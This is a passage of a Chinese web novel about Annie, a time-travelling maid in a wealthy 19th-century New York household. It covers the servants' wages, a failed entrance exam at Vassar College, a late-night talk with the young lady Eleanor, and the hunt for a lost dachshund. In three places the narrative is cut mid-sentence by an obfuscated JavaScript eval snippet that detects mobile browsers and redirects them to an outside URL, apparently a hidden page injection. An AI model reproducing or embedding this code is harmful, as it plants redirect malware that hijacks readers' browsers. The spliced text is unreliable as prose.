米芙微微躬身，双手接过信封，姿态恭谨却并不卑微，「谢谢夫人，我会更加努力的。」 这时，书房门被轻轻推开，埃莉诺小姐走了进来。「姑妈，」她看到桌上的匣子和米芙手中的信封，有一丝尴尬，「对不起，打扰你们了。」说罢就要退出去。 房间里的人都能看出她的笑容有些勉强，眼神里藏着一丝心事。 「不必。埃莉诺，你有什么事儿。」 「姑妈。您给我的零花钱实在太多了，我不能接受。」她的语气带着少女的腼腆，也带着一丝作了决断的勇气。 玛蒂尔达夫人白了她一眼：「给你就拿着，买些喜欢的书或者新料子做条裙子。女孩子身边总该有些体己钱。」她的语气带着不容置疑的惯常态度，仿佛这只是无足轻重的小事。 埃莉诺皱紧细眉，知道姑妈是打定主意了。她轻轻叹了口气。目光转向米芙，似乎想到什么，欲言又止。 米芙适时地告退。 不一会儿，埃莉诺也拖着步子出来，心事重重。 在安静的走廊里，只有两个人的脚步声。 埃莉诺犹豫了一下，稍稍加快脚步，追上米芙，「米芙，请原谅我的冒昧……我只是很好奇……你是如何……支配自己的薪水的？我是说，你好像把这些事情处理的井井有条。」问出这个问题似乎让她有些难为情，脸颊泛起淡淡的红晕，这显然不是一个上层小姐该公开关心的事情。 米芙似乎并不惊讶，她放缓脚步，侧头看了埃莉诺一眼，沉默片刻后轻声回答：「埃莉诺，对目前的我而言，资金安全最重要。我会将大部分存入可靠的储蓄银行，获取微薄但稳定的利息。一小部分用于购买必需品和提升技能的书籍。」她的声音很低，但条理清晰。 埃莉诺听说过储蓄银行，主要经营小额储蓄，据说在纽约的工薪阶层中很受欢迎。但也只限于听过，此前她的世界里主要还是私人银行，国民银行，信托公司之类的为上层阶级服务的金融机构。 但眼前，她所拥有的不足以进入那个真正的资本场。 埃莉诺点点头，「我所拥有的资金太少，不能像姑妈们一样投资。除了必要的开销……如果我想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417905|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手头有限的嫁……嗯……资金，变得多一些，你有什么好的建议吗？」 「让资金获利……」米芙斟酌着词句，语气变得更加谨慎，「风险与回报总是相伴。或许可以通过夫人小额购买一些信誉良好的铁路债券，或者……像有些人做的那样，投资一些前景看好的股票。但这需要知识和谨慎。」 她的回答显示出超越她身份的、清晰的理财观念。 埃莉诺听得十分认真，眼神发亮：「债券……股票……我从未想过。米芙，这对我很有启发。」 「这只是我的一点浅见，埃莉诺。」米芙微微低头，「但请务必谨慎，埃莉诺。债券与股票市场几乎缺乏监管，风险极高。若没有可靠的内行人指引，最好不要轻易进场。」 埃莉诺刚刚燃起的期待似乎又被现实压了下去，眼中的光芒黯淡了些，「我明白……谢谢你愿意告诉我这些。」 米芙侧首看她，发现她又回到刚才心思重重的样子，温和地说：「埃莉诺，观察和打听是勇敢的一步。你既然愿意向我打听，你为什么不再向前迈一步，留心观察和打听其他小姐们是如何经营私产的？或许你只需要一个清晰的榜样，就能找到更适合自己的方式。」 她的声音轻柔，带着鼓励的意味。 她忽然想到了安妮。那个总有些不同想法的身影在她脑中一闪而过。 两人在走廊尽头分开，各自想着心事。 / 夜晚，女仆宿舍里一改往日的沉寂，充满了窸窣的低语和偶尔压抑的小小欢呼。 煤油灯下，女孩子们围坐在一起，计算着刚刚到手的薪金。 露西小心翼翼地数着她那不多的钱，脸上发着光：「我要寄大部分回家。妈妈来信说，弟弟在镇上学校表现很好，老师夸他聪明。这些钱够他下一学期的书本费，也许还能买双新鞋。」她的语气充满希望。 玛莎则闷闷不乐地捏着她那个薄信封，抱怨道：「哼，我才不寄给我那个酒鬼父亲呢！让他自己喝西北风去！我明天就去买那顶我看中好久的帽子，再买点好的绒线，织条新围巾！」 「安妮，你呢？你打算怎么花？」露西好奇地凑过来。 安妮正看着手中的钱。主要是绿色的纸币，印着“美国券”的字样和复杂图案，面值有一美元、五美元，还有几枚沉甸甸的标准一美元银币和更小面值的辅币。 她还是第一次仔细观察这个时代的货币。 自由女神像雕塑虽然还没有立起，但其形象已经以不同姿态印刻在硬币上了。其中一幅自由女神形象，装扮成印第安人的样子，目光眺望远方，但自由既跟女人无关，也跟印第安人无关，显得有点讽刺。 「一美元又能买些什么呢？」安妮故作抱怨地问。 「能买好多东西呢！」露西如数家珍，「能买3磅上好的咖啡，或者100磅土豆，或者够做两身结实工装的布料呢！要是去看场戏剧，楼座最便宜的票也就二十五美分！」 安妮心里飞快地计算着。这时候的美元购买力真的很高。如果只是和前世的普通人比，做女仆竟然算得上高薪收入！ 她三个月的薪水，有70多美元。如果节省一点，一年下来能攒下的钱……她忽然想起曾在某本书上看到过，这个时代美国西部的土地极其便宜，一英亩荒地可能只需要一两个美元，即便好一些的农用地，一英亩也就十美元左右。 如果愿意，一年的钱，都可以买不少土地，做个小地主了。土地真的很便宜，难怪欧洲穷人都想来美国找机会。 「我在想……」安妮的声音带着一丝不易察觉的憧憬，「也许……也许攒上几年钱，可以去西部买一小块地。」她的话让其他女孩都愣住了。 「买地？当农妇？安妮，你疯了吗？」玛莎难以置信地叫道，「那日子可比在这里辛苦多了！」 「但是自由。」安妮轻声说，目光似乎穿透了阁楼低矮的天花板，「属于自己的土地，自己想种什么就种什么，不用看人脸色，不用每天凌晨五点起床……」她脑海中浮现出一片广阔的、等待开垦的草场，自己骑在马上，沿着密西西比河驰骋，那是这个时代赋予普通人的、最触手可及的美国梦——土地。 女孩们沉默了，脸上露出复杂的神色。 25. 女子高等学府 秋日阳光，格外宁静。 红砖建筑爬满了深绿色的常春藤，宽阔的草坪上，三三两两的年轻女子抱着书本走过，她们穿着朴素的长裙，低声交谈着，神情专注而充满活力。 远处，一座小巧的天文台在树梢间若隐若现。这里是美国女子高等教育殿堂——瓦萨学院。 学院坐落于纽约州波基普西市、哈德逊河东岸，距离喧闹的纽约市约莫七十五英里。学生们能在静谧的自然环境中专心致志地探索知识，同时又能借助哈德逊河这条交通动脉，便捷地连接到东北部的文化与思想中心。 埃莉诺无心欣赏这宁静美好的画面。她刚刚从主楼里走出来，脸色有些苍白，手指紧紧攥着手袋。一场专门为她安排的入学考试刚刚结束，结果显然不尽如人意。 玛蒂尔达夫人因难得出行，脸上透出几分松弛惬意。看到侄女的样子，瞬间面无表情，「这趟算是白跑了。」 为了这趟“远足”，布鲁克公馆早早地修整了马车，安排了行李。提前一天出发，在瓦萨学院坐落的波基普西小城过夜，第二天早上才缓缓到达。因为天气晴朗，也没有太多行李辎重，旅途顺利，所以大家还算精神饱满。 随行的还有伊迪丝小姐，米芙·弗里曼。 伊迪丝小姐轻拍了她姐姐后背，以示抗议，走上前温和地挽着侄女的手臂。 米芙安静地跟在后面一步之遥，察觉到埃莉诺的沮丧，也以自己的视角观察着这个对她而言既向往又遥不可及的学院。 校董会秘书斯蒂芬·白金汉先生迎了上来，他是一位举止得体的中年绅士，掌管学院的日常事务，对玛蒂尔达这位潜在的捐赠者额外殷勤。 「玛蒂尔达夫人，伊迪丝小姐，埃莉诺小姐，希望诸位没有太过疲惫。接下来，请允许我带领大家参观一下学院，相信女士们会对此感兴趣。」 「有劳白金汉先生了。」玛蒂尔达夫人微微颔首。她环顾四周，语气中带着一种难得的认可：「如果我要是再年轻些，恐怕也想来这里接受教育，成为那些女孩子的一员了……瓦萨学院虽历史不算久远，但马修当年的远见卓识，确实为纽约的女子教育开辟了一条新路。」 斯蒂芬·白金汉闻言，脸上露出遇到知音般的欣喜：「夫人您真是目光如炬！创办人马修·瓦萨先生的确立志要建立一所‘女性的耶鲁’。我们不仅在教学上对标最好的男子学院，更坚信博雅教育能培养女性独立的判断力和高尚的品格，这将惠及她们未来的家庭乃至整个社会。」 「但愿如此。」玛蒂尔达夫人淡淡回应，肯定意味已然传达，姿态便回归矜持。 他们沿着碎石小径，穿过一片开始泛黄的银杏树林。林荫道旁的长椅上，有学生独自沉浸在书海中，也有三五成群地围在一起，摊开笔记热烈讨论着。阳光透过枝叶缝隙洒下，照亮她们年轻的面庞。 「这些年轻女士的精神气质，确实与外面常见的姑娘们截然不同。」伊迪丝小姐轻声感叹，话语中带着欣赏与一丝好奇，「只是，白金汉先生，我冒昧一问，学院耗费如此心力培养她们，待她们学成毕业，社会……真的准备好接纳她们了吗？她们的前路又在何方呢？」 这个问题似乎问到了白金汉先生的心坎上，他立刻热情地回应：「伊迪丝小姐问得非常关键！这正是我们学院引以为傲之处。我们的毕业生非常受欢迎，绝大多数都投身于教育事业，成为各地女子学校或公立学校的教师骨干。此外，也有一部分杰出者进入了图书馆管理、慈善组织管理等领域，甚至……」 他顿了顿，声音里带着鼓舞，「有少数先驱者，正凭借优异的学术成绩，尝试进入天文，医学等专业领域深造。」 「教师……倒确实是个高尚且适合淑女的职业。」玛蒂尔达夫人评论道，语气听不出太多褒贬。 他们首先穿过中心草坪。白金汉先生介绍道：「学院鼓励学生们在课余时间在此散步、交流思想。您看，」他指着不远处几个正热烈讨论的女学生，「思想的碰撞往往能产生新的火花。」 埃莉诺羡慕地看着那些女孩，她们谈论着她听不懂的学术词汇，那种沉浸在知识中的自如状态，正是她内心渴望的。 米芙则默默注视着这一切，这里的学术自由氛围让她心潮澎湃，但她连参与入学考试的机会都没有，甚至她差点无法一同进校参观，最后是玛蒂尔达夫人坚持，经过校长特批才出现在这里。 白金汉先生特意带领他们来到一幢教学楼的窗前。 教室里，英语教授正在授课。大约12名女学生围坐在长桌旁，在教授的引导下，就一本文学作品中的人物动机进行辩论。 一位戴着眼镜的女生正在发言：「我认为麦克白夫人的野心并非天生邪恶，而是社会对女性权力的压抑使她走向极端。她若生为男子，其魄力或可成就一番霸业。」 另一位梳着整齐发髻的女生立刻反驳：「但她的手段何其残忍！唆使谋杀，践踏伦常，这已超出了争取权力的范畴，是灵魂的堕落。」课堂气氛活跃，其他女生也纷纷加入，引经据典，各抒己见。 主持讨论的亨利·巴姆比·巴克姆教授适时介入，他年约四旬，目光睿智：「诸位淑女，文学批评的价值不在于判定对错，而在于理解人物行为背后的复杂性。麦克白夫人是恶魔还是悲剧人物？或许她正是当时社会女性处境的一面镜子。记住，批判性思维要求我们超越表面道德判断，探询深层的时代与人性根源。」 「这是巴克姆教授的写作与修辞课，」白金汉先生压低声音，语气中带着自豪，「我们坚信小班制能让每位淑女都得到充分关注，而批判性思维的培养，是高等教育的核心。」 玛蒂尔达夫人听着室内关于野心、性别与道德的激烈辩论，微微皱起了眉头，这种公开挑战传统性别角色的言论，在她听来有些过于激进。 埃莉诺透过窗户，看着那些与她年龄相仿的女孩自信地阐述观点，一种学识不足的自卑感深深攫住了她。她在南方所受的教育，从未鼓励过如此独立和深入的思考。 接着，他们参观了化学实验室。 实验室宽敞明亮。里面摆放着蒸馏瓶、烧杯和一些叫不出名字的金属仪器，据说这个实验室在整个美国都属于领先地位。几个穿着围裙的女学生正在一位男助教的指导下，小心翼翼地操作着仪器，记录着数据，神情专注而严谨。 「我们重视实践教学，」白金汉先生指着一套设备说，「淑女们通过亲手操作，能更深刻地理解科学原理。天文学课程的学生还会定期使用那边的天文台进行观测。」 …… 经过图书馆时，透过巨大的玻璃窗能看到里面坐满了埋头苦读的学生，书架上密密麻麻的典籍诉说着知识的浩瀚。这种无处不在的浓厚学习氛围，深深震撼着在场的所有参观者。 还未来得及进入，一位工作人员匆匆找来，将一份文件递给白金汉先生。他快速浏览后，脸上露出些许为难的神色。 「玛蒂尔达夫人，」他斟酌着开口，「埃莉诺小姐的考试成绩出来了。文学素养尚可，计算也不算太差，但美国历史部分，尤其是一些关于建国后政治经济的细节，掌握得……不够扎实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417906|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。」 埃莉诺的头垂得更低了。 玛蒂尔达夫人接过文件，瞳孔缩了一下，并未说话。 白金汉先生试图缓和气氛：「考虑到埃莉诺小姐的基础，以及她对知识的热情，或许可以先进入预科部学习，或者以特别旁听生的身份适应一段时间？许多淑女都是这样开始的。」 埃莉诺没有出声拒绝。 但她的身体微微向后缩了一下，这个细微的动作表达了她内心的抗拒。让她以「预科生」或「旁听生」这种非正式身份入学，无异于公开承认她的不足，这对她和姑妈的声誉都是一种打击。 玛蒂尔达夫人立刻捕捉到了侄女的反应，她将文件递给侄女，语气冷淡而坚定：「预科？旁听？白金汉先生，布鲁克家的女性，不可能以非正式身份进入任何学府。况且——」 白金汉先生不敢得罪玛蒂尔达夫人，接住她的话：「埃莉诺小姐这次能参加考试，已是学院特批。她错过了统一的招生季，这次的考试流程已经简化了许多。夫人，我们显然非常具有诚意，请您务必理解。」 这话看似平常，却点明了这次机会的「特殊性」，也让埃莉诺的脸上更添一丝难堪。 「我在波基普西有一些地产，如果我们捐赠给学院呢？」玛蒂尔达夫人的字典里没有退让。她坚信朴素的真理，钱是万能的。 白金汉先生有些心动，但还是没有松口「如果埃莉诺小姐愿意以预科生的身份学习，我会向董事会争取，缩短她的学习时限，尽快获得正式注册身份。」 「伊迪丝在这里也有一块地产。」那就是钱还不够。 「夫人……」白金汉先生有些无奈。 没有等到满意的回答。玛蒂尔达夫人的话锋一转，带上了一丝讥讽，「一所声名在外的女子高等学院，其董事会和主要教师团队却几乎都由男性主导，这本身或许就说明了问题。我们认为，埃莉诺需要更……纯粹的教育环境。」 她找了一个冠冕堂皇的台阶。 气氛一时有些僵硬。 伊迪丝小姐适时地微笑着插话：「白金汉先生，我对贵院的植物学和音乐课程倒是很有兴趣。像我这样年纪的女士，正式入学反而不便，若能作为旁听生来学习，倒是非常合适。」她巧妙地将话题引向自己，化解了尴尬。 斯蒂芬·白金汉立刻顺势与伊迪丝小姐讨论起旁听的事宜。 米芙一路上是沉默的。 趁这个间隙，米芙轻声对埃莉诺说：「能把试题给我看看吗？」埃莉诺默默地将捏在手中的试题递了过去。米芙快速扫过那些题目——关于宪法制定过程中的妥协、关于早期关税争论的影响——她的心沉了下去。这些知识，她在协助玛蒂尔达夫人处理文书，甚至更早在有色女子学校就读时就已掌握。然而，在这所象征着进步的女子学院里，只因为她的肤色，她连获得一张考卷的资格都没有。 参观在一种微妙的氛围中结束。玛蒂尔达几乎头也不回地登上了马车。 回去还得两天。 伊迪丝小姐见车厢内气氛压抑，便提议，今晚歇在哈德逊河旁边的村子，大家可以傍晚在河边散散步，进行野炊。 玛蒂尔达夫人闭目养神，并没反对。 车夫将鞭子一扬，健壮的马匹寻着另一条车辙跑去。 车窗外，那片红砖建筑和开阔草坪越来越远。埃莉诺忍不住回头，眼神里交织着复杂的情绪。米芙也静静地凝视着窗外，她为埃莉诺感到惋惜，也替自己感到惋惜。 埃莉诺和米芙的目光在车厢中短暂相遇，又迅速分开。 26. （重置章）拯救厄于命运的天使？ 女仆们把脸藏在各自的被窝里，聊着夜间八卦。 黑暗里，玛莎的声音带着点酸溜溜的意味，猜测着某个男仆是不是又偷偷去和阿斯特家女仆约会了。露西含糊地应着，睡意比好奇心更浓。 就在这时，一阵铃声猛地惊扰昏昏欲睡的宁静。 它不是持续的响动，而是断断续续、带着某种痛苦节奏的拉扯。声音来自连接各主人卧室的拉铃系统——那是一套沿着墙壁铺设的铜线和滑轮装置，每个主要房间的床头都有一根拉绳，末端通向仆役区域，以便主人随时召唤。此刻，其中一个铃铛正响着。 「……又是谁？」玛莎烦躁地用枕头捂住脑袋，声音模糊不清。 露西翻了个身，嘟囔着：「是东边走廊……听着像是……埃莉诺小姐的房间？老天，都几点了…… 安妮睁着眼，听着那铃声。 被窝里的一点暖意让人舍不得动弹。深秋寒夜里从热被窝爬出来，去应付某位小姐可能的突发奇想，简直是酷刑。 没人起身。 最终，她叹了口气。她掀开了被子，冷气瞬间裹住了她，激起一层鸡皮疙瘩。 「你去哪？」露西惊讶地小声问。 「去看看。」安妮摸索着穿上冰冷的袜子和鞋，「听着不太对劲。」 「你疯了吗……梅布尔太太会去的……」玛莎的声音从枕头下传来，带着睡意和不满。 安妮没理会，划亮火柴，点燃煤油灯，小心翼翼地打开门，走进了漆黑冰冷的走廊。铃声在空旷的廊道里听得更加清晰了。 安妮在墙壁上确认了下，是埃莉诺房间的铃。 她来到埃莉诺小姐的房门外，轻轻敲了敲。 里面传来闷闷的声音，「请进。」 安妮推开了门。 房间里只点着一盏床头灯，光线昏暗。埃莉诺·布鲁克蜷缩在床上，脸埋在枕头里，完全不是平日那个仪态端庄的淑女。 「小姐？」安妮轻声唤道，快步走到床边，轻轻挪开枕头。 只见她双手紧紧按着两侧太阳穴，金发被汗水濡湿，黏在额角和脸颊上。她的身体因为痛苦而微微发抖。 埃莉诺虚弱地抬起头，看到是安妮，似乎愣了一下，「疼……」她几乎是呜咽着说，声音无力，「我的头……像要裂开了……」 安妮立刻放下油灯。「您躺着，别动。」她环顾四周，看到梳妆台上有一个陶瓷水罐和盆子。 她走过去试了试水温，水已经冷了。正好。她将一块干净的细亚麻布手帕浸入冷水中，拧得半干，然后折好敷在埃莉诺的额头上。 冰冷的刺激让埃莉诺猛地吸了口气，但紧接着，那冰冷的压力似乎暂时压住了剧烈的疼痛，她紧绷的身体稍微松弛了一点。 「好点了吗？」安妮低声问，一边用手背轻轻拂开埃莉诺脸上的湿发。 埃莉诺闭着眼，长长的睫毛上还挂着泪珠，她微弱地点了点头。 安妮又倒了一杯清水，小心地递到埃莉诺唇边。「慢慢喝一点，小姐。」 埃莉诺就着她的手小口啜饮了几口，冰凉的水滑过喉咙，让她稍微平静了一些。她重新躺回去，看着安妮忙碌——她重新浸湿了手帕，再次敷上，动作轻柔却利落。 「谢谢……」埃莉诺的声音依旧虚弱，但少了那份绝望的哭腔，「我突然就犯头疼。害你跑一趟。」 「是因为吹风了吗。」安妮温和地问。 埃莉诺苦笑了一下，没说话，只是闭眼忍受着上一波疼痛的余威。安妮安静地守在床边，适时地更换冷敷的手帕。房间里只剩下两人轻微的呼吸声和煤油灯芯偶尔爆开的噼啪声。 过了好一会儿，剧烈的疼痛似乎终于退潮，变成了隐隐的钝痛。埃莉诺长长地、疲惫地吁出一口气。她再次睁开眼，看着安妮，眼神里没有了平日的距离感，只剩下大病初愈般的脆弱和感激。 「不是因为天气，就是我想着事儿，想着想着，就痛起来了。」埃莉诺轻声说，她的手无意识地从被子里伸出来，碰到了安妮放在床边的手。她没有松开，反而像是抓住一根浮木般轻轻握住了。「安妮，你和别人不一样……我能感觉到。你既不疏远我，也不刻意讨好我。」 安妮感觉到她指尖的冰凉和轻微的颤抖。没有抽回手。她猜测，埃莉诺长期处于某种焦虑和无形的压力中，当这种焦虑和压力无法排解，越积越多，终于以急性偏头疼的形式爆发了，不是今晚，也在某个时刻。 「您现在需要的不是疏远也不是讨好，小姐，您需要一点帮助。」 这句话像是打开了某个闸门。埃莉诺的眼泪无声地流了下来，但她这次没有躲藏。「帮助……是的，姑妈已经尽其所能地帮我了，给我安排了目前最适合我的道路……可那……我总是担心……」她的话语有些混乱，充满了压抑已久的情绪。 她的目光无助地扫过床头柜，那里散放着几本书和写满了数字的记账薄。安妮的目光也随之落过去。她看到最上面是一本深绿色封皮的书，书名是《草叶集》。 沃尔特·惠特曼。歌颂自我、平等与自由的诗集。在这个时代，一位深闺小姐阅读惠特曼，本身就带着一种隐秘的反叛。 「担心？」安妮顺着她的话问，声音更轻了。 埃莉诺似乎才意识到自己失言，有限财产和不确定性的将来，既定的命运和对自由选择的渴望，远大的目标和能力的欠缺，应该成为谁还是可能成为谁……这些隐秘的矛盾的问题难以诉说，这终究是自己的问题，不是安妮的。她猛地收住话头，顺着安妮的目光看向那本书，脸上掠过一丝被人发现秘密的惊慌。她下意识地想盖住书。 安妮却温和地开口，仿佛只是随口一提：「《草叶集》……这是一本很勇敢的书。」 埃莉诺的眼睛睁大了，惊讶完全压过了头痛和尴尬。「你……你知道这本书？」 一个女仆，怎么可能知道惠特曼？还用了“勇敢”这个词？ 安妮看到埃莉诺眼中的好奇和探寻，决定冒险说下去。「以前……听一位有学问的先生提起过。他说这本书里的诗，是为所有渴望自由的心灵写的。」 「自由……」埃莉诺喃喃地重复这个词，像是品尝一颗从未吃过的糖果，味道复杂。「是的，它很勇敢。它说‘我赞美我自己，歌唱我自己’……可在这里，」她的声音低了下去，带着苦涩，「一个女孩怎么能只想着‘自己’？她的价值取决于很多东西。」 她像是在对安妮说，又像是在自言自语，积压的苦闷找到了一个微小的漏口。「姑妈让我读那些礼仪手册和圣经，可它……它不一样。它让我觉得……觉得也许我可以不只是埃莉诺·布鲁克，我可以是我自己。但这想法太奇怪了，也太可怕了……」她的手指无意识地抠着书页边缘。 安妮看着她，看到了一个茫然不安的青涩灵魂，或许连埃莉诺自己都不明白自己真正面临什么样的困境。她想起了另一首诗，一首来自她遥远故乡、却与此地此刻无比契合的诗。 「小姐，」安妮的声音很平静，却带着一种奇异的力量，「在我的故乡，有一句古老的诗歌。它说，我如果爱你——绝不像攀援的凌霄花，借你的高枝炫耀自己；我必须是你近旁的一株木棉，作为树的形象和你站在一起。根，紧握在地下；叶，相触在云里。」 她用缓慢而清晰的英语，尽量还原了那份意境。 房间里突然陷入一片寂静。 安妮缓缓解释道，「很多人以为这首诗在歌颂爱情。其实是……」 「不！这当然不是说爱情。」埃莉诺忘记了头痛，忘记了哭泣，只是怔怔地看着安妮。 「树……木棉……」埃莉诺喃喃道，她的眼睛像是被点亮了，一种强烈的、前所未有的共鸣在她心底炸开。这句陌生的诗句，以一种比《草叶集》更精炼、更形象的方式，击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417907|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中了她内心最深的渴望。平等、独立、并肩而立……而不是攀附、依赖、作为陪衬。 「……每一阵风过，我们都互相致意，但没有人，听懂我们的言语」安妮继续轻声吟诵，每一个字都击在埃莉诺的心上。 「这才是……这才是……」埃莉诺激动得几乎说不出话，她反手紧紧握住安妮的手，「安妮！这诗歌太……它完全说出了……你的故乡，那一定是个很特别的地方！」 她的眼睛里闪烁着狂热的好奇和找到知音的巨大惊喜。她们不再是小姐和女仆，而是两个在精神上瞬间靠近的灵魂。 「我的家乡很远，小姐。」安妮避重就轻，微微笑了笑，「在那里，人们相信，人类社会很多美好的部分，譬如爱，譬如尊重，源于彼此都是独立的个体。」 就在这时，门外走廊突然传来一阵清晰而略显急促的脚步声！紧接着，是梅布尔太太夹杂着几分焦急的声音：「埃莉诺小姐？您房里是有什么动静吗？我好像听到说话声？」 房间内的温情和默契瞬间被打破！ 安妮反应极快，立刻站起身，迅速将冷敷的手帕和水杯拿到手里，做出正在伺候的样子。 / 门被推开一道缝。 梅布尔太太严肃的脸探了进来，她的睡帽有些歪，眼神像扫帚一样迅速扫过房间，最后牢牢钉在站在床边的安妮身上。 「埃莉诺小姐？」梅布尔的声音带着审视，「我听到些动静。这么晚了，是有什么需要吗？」 埃莉诺立刻发出一声虚弱的呻吟，手指按上太阳穴，声音比刚才更加气若游丝：「梅布尔太太……是我不舒服，头痛得厉害，实在忍不住才拉了铃。安妮她很好，她帮我拿了冷水，我感觉好多了。」她适时地又吸了口气，显得楚楚可怜。 安妮微微低下头，双手交叠在身前，一副恭顺的样子：「太太。我听到铃声就赶紧过来了。小姐看起来很难受。」 梅布尔的目光又落回埃莉诺苍白的脸上，「头痛可不是小事。需不需要我去禀告夫人，请个医生来瞧瞧？」 「谢谢您，梅布尔太太。我已经好多了，不想惊动姑妈。安妮照料的很好……我想安静地睡一晚，明天就会没事儿的。」她说着，眼神恳求地望向女管家。 梅布尔抿了抿嘴，最终点了点头。 她走近两步，习惯性地整理了一下床头柜上的东西，目光在那本深绿色封面的《草叶集》上停留了一瞬，但并没说什么，只是又提醒了一句：「埃莉诺小姐，您也该爱惜身体，别总是熬夜看书。」 「我知道了，谢谢您。」埃莉诺轻声应道。 梅布尔这才转身，又瞥了安妮一眼，眼神里的探究并未完全散去，但她没再说什么，轻轻带上门离开了。 房间里陷入一片沉默。 「那首诗叫什么名字？」埃莉诺忍不住又低声问。 「致橡树。小姐。」 「我不会忘记的。」 安妮迎上她的目光，轻轻点了点头：「好好休息，小姐。什么都别想了。」 她走上前，替埃莉诺掖好被角，又将手帕重新浸湿、拧干，轻轻放在她的额头上。 埃莉诺顺从地闭上眼睛，但嘴角似乎有一丝极淡的、安心的弧度。 安妮安静地守了一会儿，直到听到她的呼吸变得均匀绵长，才踮着脚尖，悄无声息地退到门口。 她没有立刻离开，只是在黑暗里静静站了一小会儿。 …… 有时候她会想，穿越而来上天想让她做些什么？总要做些什么吧？ 她是为什么而来？她肩负着什么责任？ 是自己，化身拯救世人的天使？ 还是自己，拯救那些厄于命运的天使？ 亦或者，踩在所有的翅膀上，不顾一切的乘风而起？ 人活一世，总得自私一些？ 可她已经活了两世了。 27.「墨西哥不见了！」 「墨西哥不见了！」 这声惊呼，让布鲁克宅邸一清早便陷入了不寻常的混乱。 平时温和娴静的伊迪丝小姐此刻脸色苍白，她提着裙摆，无助地站在大厅中央，看着仆人们像没头苍蝇一样四处翻找，却一次次带回令人失望的摇头。 她的爱犬，那只名叫墨西哥的小巴伐利亚腊肠犬，平时像个小影子一样跟着她，此刻却没了踪影。 脚步声在各处走廊杂乱响起，女仆们掀开柜门查看里面，男仆们被支使着跑向花园和马厩。低沉的呼唤声此起彼伏——「墨西哥？」「墨西哥，好孩子，快出来！」 梅布尔太太尖利的嗓音在走廊里回荡，试图维持秩序：「露西，检查客厅的沙发底下！约翰，再去花园灌木丛仔细看看！都动起来！」但指挥效果甚微，仆人们显然缺乏寻找一只小狗的有效方法。 与这片混乱形成鲜明对比的是玛蒂尔达夫人。她悠闲地坐在客厅最舒适的扶手椅里，小口啜饮着刚煮好的咖啡，仿佛眼前的一切不过是一场有趣的表演。当伊迪丝焦急地望向她时，她只是轻轻放下精致的瓷杯，挑眉凝视自己的妹妹。 「不过是只狗，伊迪丝。」玛蒂尔达的声音平稳得没有一丝波澜，她甚至慢条斯理地整理了一下裙摆的褶皱，「丢了再买一只就是。」 她抬眼瞥了妹妹一眼，嘴角勾起一个细小的弧度，继续用那把冷静得残忍的嗓音说：「总比让你生孩子容易一些，不是吗？」 这话像鞭子一样抽过来。伊迪丝的脸瞬间变得更白，嘴唇哆嗦着，却一句话也说不出来。她猛地转身，几乎是跑着离开了大厅，肩膀因为气愤和羞辱而微微发抖。 安妮原本在擦拭脚凳，听到动静也停了下来。此时，埃莉诺小姐也从楼上下来了，正轻声安慰着伊迪丝，脸上带着真诚的关切。甚至连米芙也出现在走廊转角，安静地观察着情况。 / 安妮放下抹布，走到伊迪丝小姐身边。「小姐，」她低声说，「您仔细回想一下，墨西哥最后是在哪里出现的？它有没有特别迷恋的玩具或是常躲藏的地方？」 伊迪丝像是抓住了救命稻草，急忙抓住安妮的手。「昨晚它还在我房间睡觉，抱着它最喜欢的绒布骨头。早上我醒来它就不见了。房间门是关着的，我不知道它怎么出去的……」 安妮点点头。「别急，小姐。方便去您房间看看吗？」 「姑妈，」埃莉诺小姐声音温柔，毫不犹豫地上前挽住伊迪丝发抖的胳膊，「我也来帮忙。」 米芙没有说话，只是对安妮微微点头，示意她也愿意帮忙。 三个女孩，因为一只走失的小狗，第一次并肩走到一起。 / 安妮仔细检查伊迪丝小姐的房间。 她目光扫过，不放过任何角落。很快，她在窗台边缘辨认出一些狗毛。窗户开着一道不小的缝，外窗檐离地有一段距离，但不算很高，且窗外恰好有一处宽大的雨棚，更下方是茂密的矮冬青灌木丛。安妮快速判断，墨西哥极有可能是从这儿跳下去，并在落地前被雨棚、树丛缓冲了身形。 「它可能从窗户出去了。」安妮指向那处狗毛。 她们立即来到窗外的花园。清晨的露水还缀在草尖，泥土湿润柔软。安妮蹲下身，仔细查看地面。 「看这里，」她指着一处明显的凹陷，「是墨西哥的脚印，还很新。」 埃莉诺也立刻俯身，她细致的目光捕捉到脚印旁一道轻微的拖拽痕迹。「看，这里还有条细长的印子，」声音里带着发现的雀跃，「它可能一直叼着它最爱的那个绒布骨头没放开。」 米芙则没有蹲下，她退后几步，环视整个花园布局，目光掠过地面、灌木和路径。随即，她指向花园边缘的碎石路：「看那边，脚印是往那个方向去的。散落着一些煤渣，它可能踩过了储藏室旁的煤堆。」她的观察为搜索提供了关键的方向。 